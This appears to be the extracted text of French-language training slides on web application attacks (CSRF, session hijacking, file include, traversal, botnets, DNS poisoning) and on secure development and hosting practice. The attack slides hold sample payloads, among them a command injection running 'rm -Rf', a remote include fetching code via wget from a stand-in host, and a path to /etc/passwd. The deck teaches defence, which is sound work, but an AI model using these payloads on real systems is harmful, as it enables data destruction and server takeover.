• Que pourrait-il faire ?

Imaginez

• Initiation de transactions (transfert de fonds, logoff, modification de données, …)

• Accès à des données sensibles

• Changement des mots de passes/identifiants

Impact

CSRF

Exploite la confiance qu’un site a en un utilisateur

Cible de l’attaque = site web

But : modifications sur le site

Méthodes d’attaque :

principalement GET (attaque dans l’URL)

POST

53

Ajouter un commentaire …

<img src='article.php?id=3&action=del'

width='0'>

…

1

membre d’un

site protégé

<img src='article.php?id=3&action=del' width='0'>

SGBD

54



width='0'>

…

1

membre d’un

site protégé

2 GET article.php?id=3&action=read

membre d’un

site protégé


SGBD

55



width='0'>

…

1

membre d’un site protégé 3


membre d’un <img src='article.php?id=3&action=del' width='0'>

site protégé


SGBD

56



width='0'>

…

1

membre d’un site protégé 3


membre d’un <img src='article.php?id=3&action=del' width='0'>

site protégé GET http://.../article.php?id=3&action=del

4


SGBD

Les attaques sur

les sessions

Mauvaise gestion des sessions et de l’authentification

•Les identifiants doivent donc être passés à chaque requête.

•Il faut utiliser SSL pour toute authentification

HTTP est un protocole sans état

•Des ID de sessions sont utilisés pour maintenir la session dans HTTP car il ne le peut lui.

•Cela suffit à un attaquant, c’est aussi interessant qu’un identifiant

•Les ID de sessions sont souvent exposés dans les sessions réseau, dans les browsers (cookies), dans les logs, ….

Failles dans la gestion de l’authentification

•Changement de mot de passe, se souvenir de mon passe, oubli de mot de passe, questions secretes, logout, email, …

Attention aux portes dérobées…

•Vol de session ou compromission de comptes utilisateur

Impact

Illustration d’une mauvaise authentification

Custom Code

Acco

un

ts

Fin

an

ce

Ad

min

istr

ati

on

Tra

nsacti

on

s

Co

mm

un

icati

on

K

no

wle

dg

e

Mg

mt

E-C

om

merc

e

Bu

s. F

un

cti

on

s 1 Utilisateur envoie ses

identifiants

2

Le site récrit l’URL

(i.e., mise dans l’URL de

l’ID de session)

3 L’utilisateur clique sur un lien vers

http://www.hacker.com dans un forum

www.boi.com?JSESSIONID=9FA1DB9EA...

4

L’attaquant regarde les logs “Referer” sur

www.hacker.com

Et découvre le JSESSIONID 5 L’attaquant peut utiliser

le JSESSIONID sur le site

boi.com pour son méfait

http://www.hacker.com

http://www.hacker.com/

Contre Mesure

Vérifier l’architecture !

L’authentification doit être simple, centralisée et standardisée

Utiliser le mécanisme standard de gestion des cookies du

framework (ils sont globalement fiables)

Utiliser constamment SSL pour protéger les identifiants de

connexion et de sessions

Vérifier l’implémentation Oublier l’analyse automatique

Vérifier le certificat SSL (SSLv2, renégociation, chiffrement

faible, …)

Examiner toutes les fonctions relatives a l’authentification

Vérifier que la déconnexion supprime bien la session !

1. Envoi de nombreux e-mail aux clients L'attaquant forge

un e-mail trompeur et l'envoie massivement à toutes les

adresses e-mail des clients.

2. Certains utilisateurs ouvrent l' e-mail et cliquent sur le

lien Certains utilisateurs déjà connectés sur l'application

ouvrent le message et visitent le site. Leurs navigateurs

répercutent la requête XSS vers le serveur Client.

3. Le serveur renvoie la page contenant le javascript

malicieux.

4. Les navigateurs renvoient les cookies de session au

pirate.

5. Le pirate récupère les cookies et ouvrent les sessions.

-Le serveur doit être vulnérable au Cross Site Scripting ;

- Le pirate connaît l' e-mail d'un utilisateur connecté au site

affecté par la vulnérabilité ;

- L'utilisateur accepte d'ouvrir un e-mail ou de visiter un lien

URL reçu par e-mail.

Vol de session

58

Session repose sur un identifiant unique

1

3

login=zorro&passwd=paszorro

sessid=21000

sessid=21000

Bonjour Zorro 2

article=12&action=sel

Détournement de session

59


Détourner une session = fournir un id valide

1

3

login=zorro&passwd=paszorro

sessid=21000

sessid=21000

sessid=21000

Bonjour Zorro 2

article=12&action=voir

article=5&action=supprimer


60


Détourner une session = fournir un id valide

Identifiant transmis par :

Cookie URL (query string)

Champ caché de formulaire


61

Session repose sur un identifiant unique Détourner une session = fournir un id valide Identifiant transmis par cookie, URL, champ form.

Attaques pour obtenir un identifiant valide

Prédiction id = nombre entier incrémenté


Session repose sur un identifiant unique Détourner une session = fournir un id valide Identifiant transmis par cookie, URL, champ form.

Attaques pour obtenir un identifiant valide

Prédiction Vol

o id dans l’URL (historique, bookmark, logs, envoi par mail, …)

o vol de cookie (XSS, ordinateur public)

o interception (écoute réseau)

o consultation des fichiers de session sur le serveur


Les vulnérabilités d’authentification

et l’autorisation

Brute Force:

Processus automatisé "d'essai et d'erreur" utilisé pour deviner le login d'une personne, son mot de passe, le numéros de carte de crédit, ou une clé cryptographique.

Exemple:

Username = Jon Passwords = smith, michael-jordan, [pet names], [birthdays], [car names], …. Usernames = Jon, Dan, Ed, Sara, Barbara, ….. Password = 12345678

2 types: Normal:

Renversé:

Login Mot de passe

Login Mot de passe

N 1

N 1

Brute force

Insufficient Authentification:

C’est le fait de permettre à un attaquant d'accéder à des contenues ou des fonctionnalités critiques sans pour autant être authentifié. Ceci est dû au fait que certaines ressources sont protégées juste en "cachant" leur emplacement et de ne pas les lier à aucune page du site web, cette approche pour la sécurité est dite “Security Through Obscurity”.

Exemple:

Beaucoup d'applications Web ont été conçus avec des fonctionnalités d’administration à distance, des fonctionnalités se trouvant hors du répertoire racine (/ admin /). Généralement, ce répertoire n’est pas liés à aucune des pages du site. Par contre, cet emplacement reste accessible en utilisant le navigateur.

Insufficient Authentification

Insufficient Authorization:

Ceci arrive lorsqu'un site web permet à un attaquant d'accéder à des contenues critiques ou des fonctionnalités sans pour autant avoir les autorisations nécessaires.

Exemple:

Même exemple pour /admin/ mais cette fois après s’être authentifier.

Insufficient Authorization

L’escalade de privilège est une technique qui permet d’exploiter un bug où une erreur de configuration dans une application pour accéder à des ressources protéger.

Cette technique permet de dépasser les droits légitimes en usurpant l'identité d'une application ayant des droits supérieurs.

Réalisation:

Exploitation des bugs

Maintenir l'accès

Conséquences:

Accès à des ressources systèmes.

Usurpation d'identité.

Mise en place d'une porte dérobée

L’escalade de privilège

Le privilèges escalation: ce la possibilité pour qu’un utilsateur modifier ses privilèges ou rôles dans l’application, généralement l’objectif est d’obtenir les droits de l’administrateur de l’application.

Deux types d’escalades des priviléges:

Vertical escalation: Obtenir plus de privilèges(Rôle administrateur).

• L’utilisateur A a accès à son compte en banque dans une application web via internet.

• La vulnérabilité se produit lorsque l'utilisateur A accède au compte administrateur d’application web en effectuant une sorte d'activité malveillante.

Horizontal escalation: Effectuer des actions ou d’accéder aux ressources sur des comptes d’autres utilisateurs.

• L’utilisateur A a accès à son compte en banque dans une application web via internet. L'utilisateur B a accès à son compte en banque dans la même application.

• La vulnérabilité se produit lorsque l'utilisateur A accède au compte bancaire de l'utilisateur B en effectuant une sorte d'activité malveillante.

L’escalade de privilège

Référence directe non sécurisée à un objet

• C’est une manière de renforcer les habilitations en lien avec Mauvaise restriction d’accès à une URL

Comment accéder aux données privées

• Attendre uniquement de l’utilisateur des accès à des objets autorisés ou

• Cacher des références à des objets dans des champs cachés

• … et ne pas renforcer les restrictions coté serveur.

• Ceci n’est qu’une tentative de contrôle d’accès sur la présentation et ne fonctionne pas !

• Un attaquant n’a qu’a modifier les valeurs des paramètres…

Des erreurs classiques

• Un utilisateur a accès à des données ou des fichiers normalement interdits

Impact

L’attaquant note le paramètre acct = 6065

?acct=6065

Il modifie celui-ci de la manière suivante

?acct=6066

L’attaquant visualise un autre compte.

https://www.onlinebank.com/user?acct=

6065

Référence directe non sécurisée à un objet illustrée

Mauvaise restriction d’URL illustrée

L’attaquant note dans l’URL que le rôle est affiché

/user/getAccounts

Il modifie directement l’URL (le rôle)

/admin/getAccounts, ou

/manager/getAccounts

L’attaquant dispose de privilèges supplémentaires

https://www.onlinebank.com/user/getAccountshttps://www.onlinebank.com/user/getAccounts

https://www.onlinebank.com/user/getAccountshttps://www.onlinebank.com/user/getAccounts

Référence directe non sécurisée à un objet illustrée

La manipulation des fichiers

Directory indexing:

Listage/Indexation automatique d’un répertoire est une fonction de serveur web qui liste tous les fichiers dans un répertoire demandé si le fichier de base (index.html / home.html / default.htm) n'est pas présent. De ce fait, des informations critiques peuvent être obtenues.

Exemple:

Présence de fichiers .bak .old et même des .conf .config

Directory indexing

La technique du file include permet d’exécuter du code dynamique héberger sur un serveur distante sur le serveur cible,

L’utilisation d’un include() revient à faire un simple copié-collé : le code du fichier appelé est inséré à l’intérieur de la page appelante, à l’endroit exact où se trouve la fonction.

Cette attaque est née suite au mauvais appel des paramètres par la fonction include().

Remote File Include

<?php

echo system("ls -1 *.".$_GET['ext']);

listing.php

?>

/listing.php?ext=php;cd/;rm+-Rf+*

1

cnx.php

index.php

connectBase.php

listing.php

2 ls -1 *. php;cd/;rm+-Rf+*

3

4

/

5

45

<?php

afficheFormCommande();

?>

commande.php

3

2 test.php?p=commande

1

<?php

require($_GET['p'].".php");

?>

test.php

46

Injection du caractère null \0

test.php?p=http://bad.org/bad.txt%00

1

test.php

<?php


?>

47

bad.org

GET bad.txt

2 test.php?p=http://bad.org/bad.txt%00

1

test.php

<?php


?>

48

<?php

echo system('cd /tmp; ls;

wget http://bad.org/exec; ls');

bad.org

GET bad.txt


1

bad.txt

3

?>

<?php require($_GET['p'].".php");

?>

test.php

<?php echo system('cd /tmp; ls;


?>

49

<?php



bad.org

GET bad.txt


1

bad.txt

3

4

?>

cd /tmp; ls

<?php


?>

test.php

<?php echo system('cd /tmp; ls;

/tmp


?>

50

<?php



bad.org

GET bad.txt

2

bad.txt

3 exec

?>

5

test.php?p=http://bad.org/bad.txt%00

1

4 wget http://bad.org/exec

<?php


?>

test.php

<?php

/tmp echo system('cd /tmp; ls;


?>

Exemple de code vulnérable:

<?php

# def des constantes

$file = "toto.php";

#pour avoir un register global

if (isset($HTTP_GET_VARS)) {

while(list($var,$val)=each($HTTP_GET_VARS)) {

$$var=$val;}}

#include de la lib toto.php

include ($file);

?>

Un appel du type : GET

/index.php?file= ‘code_hostile.txt’ aura

comme conséquence d’exécuter du

code PHP arbitraire sur le serveur.

Remote File Include

Insertion de fichier( La faille include ):

<?php

if(isset($_GET['page']))

{include $_GET['page'].'.php';}

else

{include 'accueil.php';}

?>

File include: •L’inclusion de fichier à distance.

•L’exécution à distance des fichiers source (PHP,JSP,ASP, …) sur votre

serveur web

WEBSHELL Installer sur le serveur: Contrôle totale, Exécution des

commandes système à distance.

http://www.monsite.com/index.php?page=http://www.pirate.com/moncode

Remote File Include

Remote File Include

Directory traversal :

• Le directory traversal n'est pas réellement une faille spéciale mais une

technique de navigation qui peut souvent être exploitée.

•En fait, on se sert des liens symboliques signifient respectivement "le

dossier où je me trouve" et "le dossier parent de celui où je me trouve".

•

•Le but est d'écrire des URLs utilisant cette technique de navigation et

ainsi accéder à du contenu inaccessible .

http://www.monsite.com/ ../../../../../etc/passwd

Directory traversal

Remote File Upload:

• Généralement le site ayant de page pour uploader des images, CVs,

articles, etc …

•Absence ou insuffisance de contrôle sur les types des fichiers à

uploader.

•Le pirate essayer d’uploader des fichiers sources (PHP,JSP,ASP,etc..)

pour permettre de contrôler le serveur web à distance.

La Remote File upload est une porte qui permet à un pirate d’introduire sur le

serveur web:

-accès totale.

-voire le système d’information interne.

-vol des informations critiques (Passwords, portes feuilles clients, etc..)

Remote file upload

Manipulation des fichiers – Contre mesures

Recommandations

Empêcher le parcours des pages situés en dessous de la racine

du site web (mécanisme de chroot) ;

Désactiver l'affichage des fichiers présents dans un répertoire

ne contenant pas de fichier d'index (« Directory Browsing ») ;

Supprimer les répertoires et fichiers inutiles (dont les fichiers

cachés) ;

S'assurer que le serveur protège l'accès des répertoires

contenant des données sensibles ;

S'assurer que le serveur interprète correctement les pages

dynamiques, y compris les fichiers de sauvegarde (.bak) ;

Les attaques logiques

Denie de service

Denial of Service

Attaque avec l'intention d'empêcher un site Web à servir les activités normaux des utilisateur. Les attaques DoS, qui sont normalement facilement appliquée à la couche réseau, sont également possibles à la couche application. Ces attaques malveillantes essayent d’épouser les ressources essentielles d'un système, d’exploiter des vulnérabilités, ou de s’abuser des fonctionnalités d’un système.

Exemple:

Utilisation de SQL injection pour effacer le contenu de la base de donnée d’un site.

Abus de fonctionnalité

Abuse of functionality:

Elle se sert des propres caractéristiques et fonctionnalités d'un site web pour consommer, frauder, ou contourner les mécanismes de contrôle d’accès. Certaines fonctionnalités d'un site Web peuvent être abusées, même des fonctions de sécurité, de façon à provoquer un comportement inattendu.

Exemple:

Un attaquant crée simplement une URL qui a fourni les paramètres e-mail souhaitée et effectuer une HTTP GET à la CGI, telles que: http://example/cgi-bin/[email protected] &message=vous%20avez%20été%20spammé

Insufficient Anti-automation:

Quand un site web permet à un attaquant d'automatiser un processus qui ne doit être effectuée que manuellement. Certaines fonctionnalités du site Web doit être protégé contre les attaques automatiques (inscription en ligne, création de compte email, …). Un robot automatisé pourrait potentiellement exécuter des milliers de demandes en une minute, provoquant la perte potentielle du service.

Exemple:

Chez Yahoo!

Insufficient Anti-automation:

Attaques sur la configuration

standard

Mauvaise configuration

• On pense aux réseaux, aux systèmes et aux plateformes

• Il ne faut pas oublier les environnements de développement

Les applications Web doivent faire confiance à une fondation sécurisée

• Pensez a tous les endroits ou l’on trouve votre code source.

• La Sécurité ne doit pas se baser sur l’obscurité du code source.

Est-ce que votre code source est secret?

• Tous les identifiants doivent être changés sur les environnements de production

Il faut étendre la gestion de la configuration a toutes les parties de l’application

• Installation d’une porte dérobée via un oubli de patch (serveur, réseau,…)

• Failles XSS exploitées du à l’oubli de patch dans les frameworks

• Accès non autorisé à des comptes , des données, ou des fonctionnalités applicatives par défaut non utilisées mais accessibles a cause d’une mauvaise configuration utilisateur

Impact

Hardened OS

Web Server

App Server

Framework

Mauvaise configuration illustrée

App Configuration

Custom Code

Accounts

Fin

ance

Adm

inis

tration

Tra

nsactions

Com

munic

ation

Know

ledge M

gm

t

E-C

om

merc

e

Bus. F

unctions

Test Servers

QA Servers

Source Control

Development

Database

Insider

configuration par défaut

La plupart des administrateurs système laisse la configuration par

défaut qui peuvent être une source d’attque:

-configuration par défaut d’un BD.

-- configuration par défaut serveur web.

-- configuration par défaut d’un CMS(fichier de confs accessible via

navigateur, mot de passe zone d’administration ,….)

--Mot de passe par défaut.

-Exemple:

Un attaquant peut épuiser le nombre maximal de clients autorisés à

se connecter sur le serveur Apache httpd, dans sa configuration par

défaut.

Un attaquant peut donc ouvrir de nombreuses sessions parallèles,

dans lesquelles il envoie la requête par fragment de quelques octets,

afin de faire perdurer ces sessions et d'atteindre MaxClients.

Les utilisateurs légitimes ne peuvent alors plus utiliser le service.

Un attaquant peut donc épuiser le nombre maximal de clients

autorisés à se connecter sur le serveur Apache httpd, dans sa

configuration par défaut.

L’attaque de Phishing

Le phishing est une technique qui exploite la crédibilité entre le client et le site, utilisée par des fraudeurs pour obtenir des renseignements personnels dans le but de perpétrer une usurpation d'identité.

Les criminels informatiques utilisent généralement l'hameçonnage pour voler de l'argent. Les cibles les plus populaires sont les services bancaires en ligne, et les sites de ventes aux enchères tels que eBay ou Paypal. Les adeptes de l'hameçonnage envoient habituellement des courriels à un grand nombre de victimes potentielles.

Phishing

Phishing

Attaques réseaux

Histoire

La légende veut que les Grecs, n'arrivant pas à pénétrer dans

les fortifications de la ville de Troie, eurent l'idée de donner en

cadeau un énorme cheval de bois en offrande à la ville en

abandonnant le siège.

Les chevaux de Troie

De point de vue informatique un cheval de Troie est un logiciel d’apparence légitime, mais conçu pour exécuter des actions nuisibles à l’utilisateur.


Ecoute sur le clavier

Capture d'écran

Exécution d'application

Edition du registre

Accès au contenu du disque (+r,+w)

Contrôle de plusieurs périphériques

…


Les réseaux botnet sont des réseaux formés de machines zombies commandées par un master (maître) dans le but de les utilisées dans un contexte malveillant.

D’une façon générale, pour assurer la communication entre les machines zombies et le maître, un canal IRC mit en place afin de transmettre les commandes.

Exploitation:

Destruction de données

Proxying

Hebergement non sollicité

Envoi de malware

DDOS

Spamming

Sniff

Les réseaux botnet

Scénario 1:

Infection multiple par les botnets en utilisant plusieurs

moyens:

• web, mail, IM systems …

• CD, Laptop, …

Une fois le bot mit en place:

• Connexion aux serveurs maître

• Recevoir les commandes

• Infiltration des données sensibles

Les réseaux botnet

Scénario 2: DDoS

Les réseaux botnet

L’écoute sur le réseau est une technique qui permet de collecter des données circulant sur le réseau local affin de dénicher certaines informations sensibles.

1er cas: réseau non switché

L’écoute sur le réseau

L'écoute sur le réseau

Machine A Machine B

Pirate Mac B IP B

Mac pirate

IP pirate

Mac A IP A

Mac pirate

IP pirate

Mac B Port B

Mac C Port C

Mac pirate

Port pirate

Mac A IP A

Mac B IP B

Mac pirate

IP A Mac pirate

IP B

La cache est une mémoire intermédiaire dans laquelle se trouvent stockées toutes les informations que le processeur central est le plus susceptible de demander.

La cache se caractérise par le faite d’être dynamique, FIFO

La cache a une durée de vie

Le Domain Name System (ou DNS, système de noms de domaine) est un système permettant d'établir une correspondance entre une adresse IP et un nom de domaine et, plus généralement, de trouver une information à partir d'un nom de domaine.

DNS cache poisonning

Attaque basée sur le paradoxe des anniversaires


DNS récursif DNS .com

www.banque.com

ww

w.b

an

que.c

om

www.banque.com

xxx.xxx.xxx.xxx

Mémorisation

dans le cache

xxx.x

xx.x

xx.x

xx


Attaque basée sur le paradoxe des anniversaires

DNS récursif DNS .com

ww

w.b

an

que.c

om

www.banque.com

xxx.xxx.xxx.xxx

Mémorisation

dans le cache

De la fausse

@

yyy.

yyy.

yyy.

yyy

Attaque par l'ajout de plusieurs résolutions


www.site.com

DNS DNS du pirate www.site.com

www.site.com x.x.x.x

www.google.com y.y.y.y

www.google.com

Les Bonnes pratiques

du

développement sécurisé

et

d’administration de plate forme d’hébergement

Les Bonnes pratiques

du

développement sécurisé

Les failles d'injection SQL sont introduits au niveau de code

source au cours de développement de l’application:

les développeurs de logiciels de créer des requêtes de bases

de données dynamiques qui incluent l'entrée fournie par

l'utilisateur.

Pour éviter les attaques par injection SQL est simple. Les

développeurs doivent soit:

a) cesser d'écrire des requêtes dynamiques, et / ou

b) empêcher l'entrée fournie par l'utilisateur qui contient des

verbes SQL

Comment éviter SQL Injection

Les fondamentaux défenses:

Règle 1:Utilisation Prepared Statements(requêtes

paramétrées)

Règle 2:Utilisation de procédures stockées.

Règle 3: Valider toutes les entrées utilisateur Fourni de

coté serveur

Les défenses additionnel:

Exécuter avec le moindre des privilèges.

White List Input Validation.


Règle 1:Utilisation Prepared Statements(requêtes paramétrées):

Les requêtes paramétrées forcer le développeur de définir

d'abord tout le code SQL après tous passage des paramètres et

exécution

Java EE – PreparedStatement()

.NET –SqlCommand() or OleDbCommand()

PHP –bindParam())


Java Prepared Statement Example JAVA

Comment créer un PreparedStatement ?


Java Prepared Statement Example

Comment passer/vider les paramètres du PreparedStatement(IN parameters) ?


Java P

rep

ared

Sta

tem

en

t Exam

ple

Sele

ct

Reco

rd

s U

sin

g P

rep

ared

Sta

tem

en

t

SQ

L IN

JE

CT

ION

– C

om

ment se p

roté

ger

C# .NET Prepared Statement Example

String query = "SELECT account_balance FROM user_data WHERE user_name

= ?";

try {

OleDbCommand command = new OleDbCommand(query, connection);

command.Parameters.Add(new OleDbParameter("customerName",

CustomerName Name.Text));

OleDbDataReader reader = command.ExecuteReader(); // … }

catch (OleDbException se) { // error handling }


Règle 2:Utilisation de procédures stockées.

Les procédures stockées ont le même effet que l'utilisation

Prepared Statement lorsqu'elles sont appliquées en toute

sécurité.

Ils demandent au développeur de définir le code SQL d'abord,

puis passer dans les paramètres après.

La différence entre Prepared Statement et les procédures

stockées est que le code SQL pour une procédure stockée est

définie et stockée dans la base de données elle-même, ensuite

appelé à l'application.


Utilisation de procédures stockées_Exemple PHP

Vous devez spécifier les paramètres qui gèrent les valeurs aussi

bien pour l'entrée que pour la sortie ;


Uti

lisa

tio

n d

e p

rocé

du

res

sto

ckée

s_E

xem

ple

ja

va

Règle 3: Valider toutes les entrées utilisateur Fourni de coté serveur:

PHP:

addslashes() :

addslashes($ch) échappe les caractères " et ' en les faisant précéder d'un

antislash \.

mysql_real_escape_string:

Protège les caractères spéciaux d'une commande SQL

ereg :

La fonction ereg applique une expression régulière sur une chaîne par exemple

pour valider une numéro de carte d’identité : ereg("^[0-9]{8}$", @$num). (évitez

le SQL injection et XSS)

Validations des types des inputs:

Les fonctions suivants nous permet de vérifier les types des entrées après leurs

manipulation: is_ array ,is_ binary ,is_ bool ,is_ buffer ,is_ callable ,is_

double ,is_ float ,is_ int , is_ integer ,is_ long ,is_ null ,is_ numeric ,is_

object ,is_ real ,is_ resource ,is_ scalar , is_ string , is_ unicode.


Valider toutes les entrées utilisateur Fourni de coté serveur:JAVA:


Solution: la validateur du Struts.

Utiliser la bibliothèques du struts qui nous permet de valider tous types des

données ( org.apache.commons.validator.routines) et qui contient par exemple:

Date and Time Validators,

Numeric Validators ,

Regular Expression validation

General Code Validation

ISBN Validation

IP Address Validation

Email Address Validation

URL Validation

Domain Name Validation

Cette bibliothèques nous permet d’éviter tous formes de sql injection ,XSS, injection du code,file include etc..

*Pour plus d’information:

lien: http://commons.apache.org/validator/apidocs/org/apache/commons/validator/routines/package-

summary.html#package_description

http://commons.apache.org/validator/apidocs/org/apache/commons/validator/routines/package-summary.html#package_description



PHP:

• htmlentities() , htmlspecialchars():

htmlentities($ch), htmlspecialchars($ch) convertit tous les caractères spéciaux en

leur entité HTML .

Exemple des remplacements effectués sont :

– "&" (et commercial) devient "&"

– """ (guillemets doubles) devient "" " ou "'"

– "<" (inférieur à) devient "<"

– ">" (supérieur à) devient ">"

Java: la validateur du Struts.

Dot.Net:

• HTMLEncode : server.HTMLEncode remplace les caractères Ascii par leur equivalent HTML

Exemple: server.HTMLEncode("<") donne <

• IsNumeric :tester si une entrée est numérique ou nom par et ça nous aide de évitez l’injection SQL dans le champ de type numéric.

Microsoft Anti-Cross Site Scripting Library:

AntiXSSLibrary.HtmlEncode et AntiXSSLibrary. UrlEncode

ne laissera tel quel que les caractères suivants : (a-z A-Z 0-9 , . - _ ' ') ,tous les autres

caractères seront encodés.

Comment éviter XSS

PHP:file_exists:

retourne TRUE si le fichier filename existe, et FALSE sinon. (évitez le file include).

Eviter la manipulation des fichiers

Insertion de fichier( La faille include ):

<?php

if(isset($_GET['page']))

{include $_GET['page'].'.php';}

else

{include 'accueil.php';}

?>

<?php if(isset($_GET['page']) AND file_exists($_GET['page'].'.php')) {include $_GET['page'].'.php';} else { include 'accueil.php'; } ?>

Java:

boolean exists = (new File("filename")).exists();

if (exists) { // File or directory exists }

else { // File or directory does not exist }

Dot.net:

if ( File.Exists(ton_fichier) )

{ // Le fichier existe }

Bonnes pratiques pour

l’administration des sites web

Côté « application »


1) Sécurisation de la plateforme d’hébergement:

Mise à jour et hardening du serveur.

Détection d’intrusion réseau.

Détection d’intrusion au niveau de l’hôte (HIDS).

Détection antivirale

Filtrage applicatif


2) Suivi et audit des logs enregistrés au niveau de la

plateforme de connexion :

log d’administration,

log d’accès public,


3. Sauvegarde des données sensible :

Applicatif,

base de données,


4) Validation de l’application:

Aprés insertion ou ajout de nouveaux services, …par

une tierce entité .

Audit de l’application avant sa mise en ligne :

au niveau de cette phase toute la documentation relative à

l’application doit être demandé (Conception, Structure,

architecture)


5) Audit régulier de la sécurité :

de l’application,

du serveur web,


6) Notification immédiate de tout

type d’incident touchant l’application web:

Pour déclarer des incidents, vous pouvez utiliser l'un des

moyens suivants :

- Via Email: envoyer nous un e-mail (sécurisé) à l'adresse

suivante: [email protected]

- Par Téléphone : (+216) 71 843 200 ou bien (+216) 71 846 020 et

demandez le poste 119 (pour le recueil des déclarations)

- Par Fax: (+216) 71 846 363

mailto:[email protected]


7) Mettre en place un plan de continuité de

service:

via la virtualisation.

Ou autre solution.

Côté « Poste Webmaster »


1) Sécurisation du poste d’administration du site

web:

Mise en place d’une solution antivirale et la

maintenir à jours

Mise à jour des applications et du système

d’exploitation (Patch de sécurité)

Mise en place d’un firewall personnel


2) Sécurité physique du poste d’administration :

Utilisation d’un dispositif d’antivol

Verrouillage du système en cas de non

usage

Cryptage des données


3) Gestion des mots de passe:

Changement périodique des mots de passe

Stockage sécurisé des mots de passe si

nécessaire

Protection des mots de passe contre la

divulgation


4) Contrôle d’accès:

Restreindre l’accès en administration (Par

adresse IP, certificat électronique)

Utilisation des méthodes d’administration

sécurisée (SSH, SCP, …)


5) Définir une procédure de veille:

Pour être à jours des nouvelles failles.

Appliquer les correctifs en temps optimal

Et pour garantir ça abonnez vous au mailing-

list de l’ANSI.

Bonnes pratiques pour la

sécurité des plateformes web

Une plateforme web est l’ensemble de composants matériels et logiciels configuré et connecté à Internet permettant de servir des pages web sur demande. Les informations sur les serveurs web public peuvent être consultées par les internautes n'importe où sur Internet. De ce fait, ils peuvent être soumis à des tentatives d’attaques par les pirates.

Les pirates peuvent modifier le contenu des sites web et voler des données critiques du système. Cela peut se traduire par une perte importante de revenu si c’est une institution financière ou un site e-commerce et une perte ou vol de données pour d’autres entreprises.

SECURISATION DU SYSTEME D’EXPLOITATION DU SERVEUR WEB

Patch et mise à niveau du système d'exploitation:

Créer, documenter et mettre en place une procédure de patch

Tester les patchs sur un serveur de test avant de les appliquer sur le

serveur en exploitation

Identifier et installer tous les correctifs et mises à niveau du système

d'exploitation

Identifier et installer tous les correctifs et mises à niveau des

applications et des services inclus avec le système d'exploitation

Installer les correctifs et les mises à jour à partir du site web officiel de

l’OS utilisé

Si des correctifs ne sont pas encore disponibles, désactiver les services

qui sont en relation avec la vulnérabilité identifiée si cela est possible


Supprimer ou désactiver les services et applications inutiles

Désactiver ou supprimer tous les services et applications inutiles

Configurer l'authentification des utilisateurs du système d'exploitation

Supprimer ou désactiver les comptes et les groupes par défaut ou inutiles

Vérifier le choix des mots de passe (Longueur, Complexité, Réutilisation,

…)

Prévenir le devine de mot de passe (par exemple, refuser la connexion

après un nombre défini de tentatives non réussis)

Installer et configurer d'autres mécanismes de sécurité pour renforcer

l'authentification


Installer et configurer des contrôles de sécurité supplémentaires

Choisir, installer et configurer des logiciels supplémentaires pour assurer

les contrôles nécessaires ne figurant pas dans le système d'exploitation,

tels que :

les logiciels anti malwares : (antivirus, logiciel anti-espion, les détecteurs

de rootkit)

des logiciels de détection et de prévention d'intrusion hôte (HIDS)

Evaluation de la sécurité du système d'exploitation

Effectuer le scan de vulnérabilité de l’OS après l’installation initiale afin

d’identifier les vulnérabilités

Tester l’OS périodiquement pour identifier de nouvelles vulnérabilités

Effectuer un test de pénétration au moins une fois par an


SECURISATION DU SERVEUR WEB

Installation sécurisée du serveur web

Installer le logiciel serveur web sur un serveur dédié

Appliquer les correctifs et les mises à jour pour neutraliser les vulnérabilités

connues

Créer un disque physique dédié ou une partition logique (séparé de l'OS et du

serveur web) pour le contenu Web

Supprimer ou désactiver tous les services inutiles installés avec le serveur web (par

exemple, Gopher, FTP, administration à distance)

Supprimer ou désactiver tous les comptes de connexion par défaut ou inutiles

créées lors de l'installation du serveur web

Enlever toute la documentation du fabricant du serveur web

Supprimer tous les fichiers et répertoires inutiles à partir du serveur (les fichiers de

test, les scripts, codes exécutables, etc.)

Appliquer un modèle de sécurité approprié ou suivre un guide de hardening du

serveur

Reconfigurer la bannière http afin de ne pas signaler le type du serveur web et la

version de l’OS


Configuration des contrôles d'accès:

Configurer le processus du serveur web à exécuter en tant qu'un simple utilisateur avec une

limite des privilèges

Configurer le serveur web en lecture seule sur les répertoires de l’application web

Configurer le serveur web afin que seuls les processus autorisés pour l’administration de

serveurs web puissent écrire des fichiers

Configurer le système d'exploitation pour que le serveur web puisse écrire des fichiers journaux

mais pas les lire

Si l’écriture est autorisée sur le serveur web, limiter la taille des fichiers à uploader sur l’espace

disque qui est dédié à cet effet. Les fichiers ajoutés doivent être placés sur une partition séparée

S'assurer que les fichiers journaux sont stockés dans un emplacement qui est dimensionné de

façon appropriée; les fichiers journaux doivent être placés sur une partition séparée

Configurer le nombre maximal de processus de serveur Web et / ou des connexions réseau que

le serveur Web doit permettre

S’assurer que les utilisateurs et les administrateurs sont en mesure de changer leurs mots de

passe périodiquement

Désactiver les utilisateurs après une certaine période d'inactivité


SECURISATION DU DB

Mettre à jour le SGBD avec les derniers correctifs stables

Utiliser des algorithmes de hachage/cryptage pour stocker les données critiques

Sécuriser le serveur de base de données derrière un firewall et utiliser un IDS pour

détecter toute tentative d’intrusion

Le processus serveur base de données devrait fonctionner comme étant un

utilisateur avec des privilèges minimum et jamais en tant qu'administrateur

Mettre en place une politique stricte de contrôle d'accès physique et logique

Activer les logs sur les tables jugés critiques

Certains serveurs de base de données comprennent des serveurs d’applications

par défaut. Il est recommandé qu'ils soient supprimés s’ils sont inutiles

Le serveur de base de données ne devrait pas avoir une adresse IP accessible au

public

L'accès à la base de données ne devrait être autorisé qu'à partir du serveur web sur

un port bien particulier

SECURISATION DU BD

SECURISATION DU communication

configurer l'authentification basée sur l’adresse IP comme une seconde ligne de défense

Pour les ressources web qui nécessitent une protection minimale, mais

pour lesquelles il n'existe pas de définition claire du public, configurer une

authentification basique ou digest (meilleure)

Pour les ressources web qui nécessitent une protection contre les robots

collecteurs ou les robots de bombardement, configurer l'authentification de

base ou digest (mieux) ou appliquer d’autres techniques (tels que captcha,

nofollow, etc.)

Pour les ressources web qui nécessitent une protection maximale,

configurer SSL/TLS


Configurer SSL/TLS

S’assurer que le SSL / TLS mis en œuvre est entièrement mis à jour.

Utiliser un certificat émis par une tierce partie pour l'authentification du

serveur

Pour les configurations qui nécessitent un niveau moyen d’authentification

du client, configurer le serveur pour exiger un nom d'utilisateur et un mot

de passe via SSL / TLS

Pour les configurations qui nécessitent un niveau élevé d'authentification

de clients, configurer le serveur à exiger des certificats client via SSL / TLS

S'assurer que les algorithmes de chiffrement faibles sont désactivés

Configurer un contrôleur d'intégrité pour surveiller le certificat de serveur

web

Si seulement SSL / TLS doit être utilisé dans le serveur web, s'assurer que

